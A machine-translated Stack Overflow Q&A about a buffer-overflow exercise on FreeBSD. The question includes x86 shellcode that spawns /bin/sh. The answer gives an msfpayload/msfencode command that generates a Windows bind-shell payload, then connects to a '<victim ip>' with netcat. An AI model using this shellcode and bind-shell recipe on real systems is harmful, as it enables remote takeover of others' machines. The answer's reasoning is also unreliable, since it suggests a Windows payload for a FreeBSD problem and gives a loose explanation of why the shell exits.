security - 缓冲区溢出 - 程序在生成 shell 后终止

标签 security assembly buffer-overflow shellcode

我一直在 FreeBSD 系统上尝试缓冲区溢出。 作为第一个实验,我尝试让被利用的程序启动另一个进程(在本例中为/bin/hostname )。一切正常,程序打印了主机名,然后终止。 之后我尝试让程序生成一个 shell(即执行/bin/sh)。我认为这可以通过简单地交换表示要调用的程序的字符串来完成。当我尝试这样做时,被利用的程序只是退出,根据 gdb 的说法,它确实成功地生成了一个新进程(/bin/sh)。但是,不会生成任何外壳。 然后我尝试了我的第一个漏洞并将/bin/sh 文件移动到/bin/hostname ,仍然没有改变任何东西。 我现在的问题是,与任何其他命令执行/bin/sh 似乎有什么不同?

作为引用,对于 shell 生成尝试,我使用了以下 shellcode:

char code[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e\x89\xe3\x50"
"\x54\x53\xb0\x3b\x50\xcd\x80";

最佳答案

哈,我明白你的意思,但我相信你犯了一个根本性的错误。您正在调用交互式 shell,但未绑定(bind)它。

这就像调用“ifconfig”命令。如果您想要执行单个命令,那么您的 shell 代码是完美的,但是如果您想要一个交互式 shell,则不能只运行 sh。

仅运行 sh 将导致执行 shell,它不会为您提供对 shell 的交互式控制。

<小时/>

解决方案: 使用 shell 代码生成器创建反向 tcp shell 或绑定(bind) shell,并将其用作漏洞利用的有效负载。

如果您尝试在 Metasploit 中执行此操作,那么这里是您想要的示例命令。

msfpayload windows/shell_bind_tcp LPORT=4444 R | msfencode -e x86/alpha_mixed -b '\x00' -t c
  • Msfpayload 是函数的名称。 windows/shell_bind_tcp 是 漏洞利用路径
  • LPORT 是远程受害机器所在的端口 将可以访问 shell
  • R 用于原始输出
  • 然后我们将其通过管道传递给 msfencode,因为我们需要它是可执行的 C 代码,并且它 必须针对该架构进行编译
  • -e表示支持的编码类型和架构,eg适用于Win Sp2
  • -b 表示您不能在 shell 代码中使用的字节。例如 00 是字符串字节的结尾
  • -t 是输出类型,如 C 代码。

多研究一下并尝试一下,你就会明白的。本质上,与执行静态命令相比,获得交互式 shell 要困难得多。

完成后,您可以使用像 netcat 这样的程序来连接并使用 shell。

netcat.exe -nv <victim ip> <port where shell was bound to>

希望这是正确的解决方案。

关于security - 缓冲区溢出 - 程序在生成 shell 后终止,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/10767070/

相关文章:

javascript - 是否可以对返回 JSON 对象的 URL 执行跨站点请求伪造攻击?

security - Symfony2 http_basic 安全性拒绝有效凭据

security - 获取 SSL 证书与我的 Node.js 应用程序有何关系?

assembly - 该汇编语言代码是什么意思?

c++ - 使用 fscanf 时防止缓冲区溢出

c# - 由 ASP.NET Web 应用程序设置的 Cookie 有多安全?

gcc 汇编输出

c++ - 如何在程序中包含数据对象文件(图像等)并访问符号?

c++ - 未定义的行为怪癖 : reading outside a buffer causes a loop to never terminate?

buffer-overflow - 为什么其中一个程序可以运行,而另一个却不能?